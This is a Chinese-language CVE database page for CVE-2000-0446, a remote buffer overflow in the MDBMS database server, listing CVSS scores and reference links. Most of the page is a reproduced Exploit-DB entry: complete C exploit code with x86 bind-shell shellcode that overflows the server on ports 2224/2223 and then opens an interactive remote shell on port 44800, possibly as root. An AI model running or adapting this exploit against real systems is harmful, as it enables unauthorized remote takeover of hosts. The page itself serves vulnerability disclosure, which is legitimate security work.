CVE-2000-0446
CVSS7.5
发布时间 :2000-05-24 00:00:00
修订时间 :2008-09-10 15:04:42
NMCOE    

[原文]Buffer overflow in MDBMS database server allows remote attackers to execute arbitrary commands via a long string.


[CNNVD]MDBMS缓冲区溢出漏洞(CNNVD-200005-091)

        MDBMS数据库服务器存在缓冲区溢出漏洞。远程攻击者借助超长字符串可以执行任意命令。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0446
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0446
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200005-091
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/1252
(UNKNOWN)  BID  1252
http://archives.neohapsis.com/archives/bugtraq/2000-05/0274.html
(UNKNOWN)  BUGTRAQ  20000524 Remote xploit for MDBMS

- 漏洞信息

MDBMS缓冲区溢出漏洞
高危 缓冲区溢出
2000-05-24 00:00:00 2005-05-02 00:00:00
远程  
        MDBMS数据库服务器存在缓冲区溢出漏洞。远程攻击者借助超长字符串可以执行任意命令。

- 公告与补丁

        Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com.
        A patch was supplied along with the exploit
        Marty Bochane MDBMS 0.9 xbx
        

- 漏洞信息 (19966)

Marty Bochane MDBMS 0.9 xbx Buffer Overflow Vulnerability (EDBID:19966)
linux remote
2000-05-24 Verified
0 HaCk-13 TeaM
N/A [点击下载]
source: http://www.securityfocus.com/bid/1252/info

A vulnerability exists in the MDBMS database, written by Marty Bochane. By supplying a line of sufficient length to the MDBMS server, containing machine executable code, it is possible for a remote attacker to execute arbitrary commands as the user the db is running as.

It is believed all versions of MDBMS are susceptible, up to and including .99b6, which is the latest release. 

/*                     MDBMS V0.96b6 remote shell xploit=20
 *           11/05/2000  |[TDP]| <tdp@psynet.net>  -  HaCk-13 TeaM
 *
 *  This code shows a MDBMS v0.96b6 vulnerability in which, any remote
 * user can exec a shell. MDBMS daemon used to be ran as root user; =
exposing
 * the system to serious vulnerability risks, because any attacker can =
obtain
 * root priviledges remotely with this exploit
 *
 * Exploit tested on LiNUX SuSE 6.3... previous MDBMS versions may
 *  be affected by this vulnerability. Fix at end of this doc.
 *
 *      Greetings goes to all other members and all my friends
 *
 */

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <netdb.h>
#include <netinet/in.h>

#define NOP     0x90
#define LEN     10008
#define RET     0xbffff586

/* Special shell code */
char shellcode[] =
"\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x43\xeb\x43\x5e\x31\xc0\x31\xdb\x89\xf1"
"\xb0\x02\x89\x06\xb0\x01\x89\x46\x04\xb0\x06\x89\x46\x08\xb0\x66\xb3\x01\xcd"
"\x80\x89\x06\xb0\x02\x66\x89\x46\x0c\xb0\xaf\x66\x89\x46\x0e\x8d\x46\x0c\x89"
"\x46\x04\x31\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0\x66\xb3\x02\xcd\x80\xeb"
"\x04\xeb\x55\xeb\x5b\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x89"
"\x46\x04\x89\x46\x08\xb0\x66\xb3\x05\xcd\x80\x88\xc3\xb0\x3f\x31\xc9\xcd\x80"
"\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\xb8\x2f\x62\x69\x6e\x89\x06"  
"\xb8\x2f\x73\x68\x2f\x89\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c"
"\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd"
  "\x80\xe8\x5b\xff\xff\xff";
 
long
resolveip (char *name)
{
  struct hostent *hp;
  long ip;
  
  if ((ip = inet_addr (name)) == -1)
    {
      if ((hp = gethostbyname (name)) == NULL)
 {
   fprintf (stderr, "Can't resolve host name [%s].\n", name);
   exit (0);
 }
      memcpy (&ip, (hp->h_addr), 4);
    }
  return (ip);
}

int
main (int argc, char *argv[])
{
  char buffer[LEN], buffer2[LEN + 10];
  long retaddr = RET;
  long remoteip;
  unsigned long sp;
  int i, a, shellsock, clisock;
  struct sockaddr_in clisin, shsin;
  char snd[4096], rcv[4096];
  fd_set rset;

  fprintf (stderr,
    "\nMDBMS v0.96b6 Remote Shell Xploit - <tdp@psynet.net>\n");

  if (argc < 2)
    {
      fprintf (stderr, "Usage: %s ip [offset]\n", argv[0]);
      exit (-1);
    }

  if (argc > 2)
    a = atoi (argv[2]);
  else
    a = 0;           
             
  retaddr = retaddr + a;
     
  for (i = 0; i < LEN; i += 4)
    *(long *) &buffer[i] = retaddr;
     
  for (i = 0; i < (LEN - strlen (shellcode) - 100); i++)
    *(buffer + i) = NOP;
    
  memcpy (buffer + i, shellcode, strlen (shellcode));
  sprintf (buffer2, "%s\n", buffer);
  
  fprintf (stderr, "Connecting to remote MDBMS server...\n");
  fflush (stdout);
  remoteip = resolveip (argv[1]);
  clisock = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP);
  if (clisock == -1)
    {
      fprintf (stderr, "Can't create main socket");
      exit (-1);
    }
  clisin.sin_family = AF_INET;    
  clisin.sin_port = htons (2224);
  clisin.sin_addr.s_addr = remoteip;
  if (connect (clisock, (struct sockaddr *) &clisin, sizeof (clisin)) == -1)
    {
      fprintf (stderr, "Can't connect to the MDBMS fastport, trying normal port...\n");
      clisin.sin_family = AF_INET;  
      clisin.sin_port = htons (2223);
      clisin.sin_addr.s_addr = remoteip;
      if (connect (clisock, (struct sockaddr *) &clisin, sizeof(clisin)) == -1)
 {
   fprintf    
     (stderr, "Can't connect to normalport... MDBMS is running in remote server?\n\n");    
   exit (0); 
 }
      exit (0);
    }
      
  switch (i = read (clisock, buffer, LEN))
    {
    case -1:
      {
 fprintf (stderr, "ClientSocket: unexpected EOF\n");
 exit (0);
      }                
    case 0:  
      {
 fprintf (stderr, "ClientSocket: EOF\n");
 exit (0);
      }
    default:
      buffer[i] = 0;
      fprintf (stderr, "%s\n", buffer);
      break;
    }
  fprintf (stderr, "Sending xploit, jumping to address 0x%lx\n", retaddr);
  i = write (clisock, buffer2, strlen (buffer2));
  fsync (clisock);
  if ((i < 10000) || (i > 10018))  
    {
      fprintf (stderr, "ClientSocket: Error writing xploit\n");
      exit (0);
    } 
  close (clisock);
     
  fprintf (stderr, "Waiting 2 secs for hell...\n");
  sleep (2);
/* shell stuFF */
  fprintf (stderr, "Connecting to the shell...\n");
  fflush (stdout);
     
  memset (&shsin, 0, sizeof (shsin)); 
  shsin.sin_family = AF_INET;
  shsin.sin_port = htons (44800);   
  shsin.sin_addr.s_addr = remoteip;  
      
  if ((shellsock = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
    {
      fprintf (stderr, "Can't create shell socket\n");
      exit (-1);
    }         
     
  if (connect (shellsock, (struct sockaddr *) &shsin, sizeof (shsin)) < 0) 
    {
      fprintf (stderr, "Can't connect to the shell\n\n");
      exit (0);
    } 
  
  fprintf (stderr, "Connected\n");
    
  while (1)
    {
      FD_ZERO (&rset);
      FD_SET (fileno (stdin), &rset);
      FD_SET (shellsock, &rset);
      select (255, &rset, NULL, NULL, NULL);
      if (FD_ISSET (fileno (stdin), &rset))
 {
   memset (snd, 0, sizeof (snd));
   fgets (snd, sizeof (snd), stdin);
   write (shellsock, snd, strlen (snd));
 }    
      if (FD_ISSET (shellsock, &rset))
 {   
   memset (rcv, 0, sizeof (rcv));
   if (read (shellsock, rcv, sizeof (rcv)) <= 0)
     exit (0);
   fputs (rcv, stdout);
 }
    }
      
  return (0);  
}     
		

- 漏洞信息

324
MBDMS Database Server Long String Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity Upgrade
Exploit Public Third-party Verified

- 漏洞描述

Unknown or Incomplete

- 时间线

2000-05-24 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站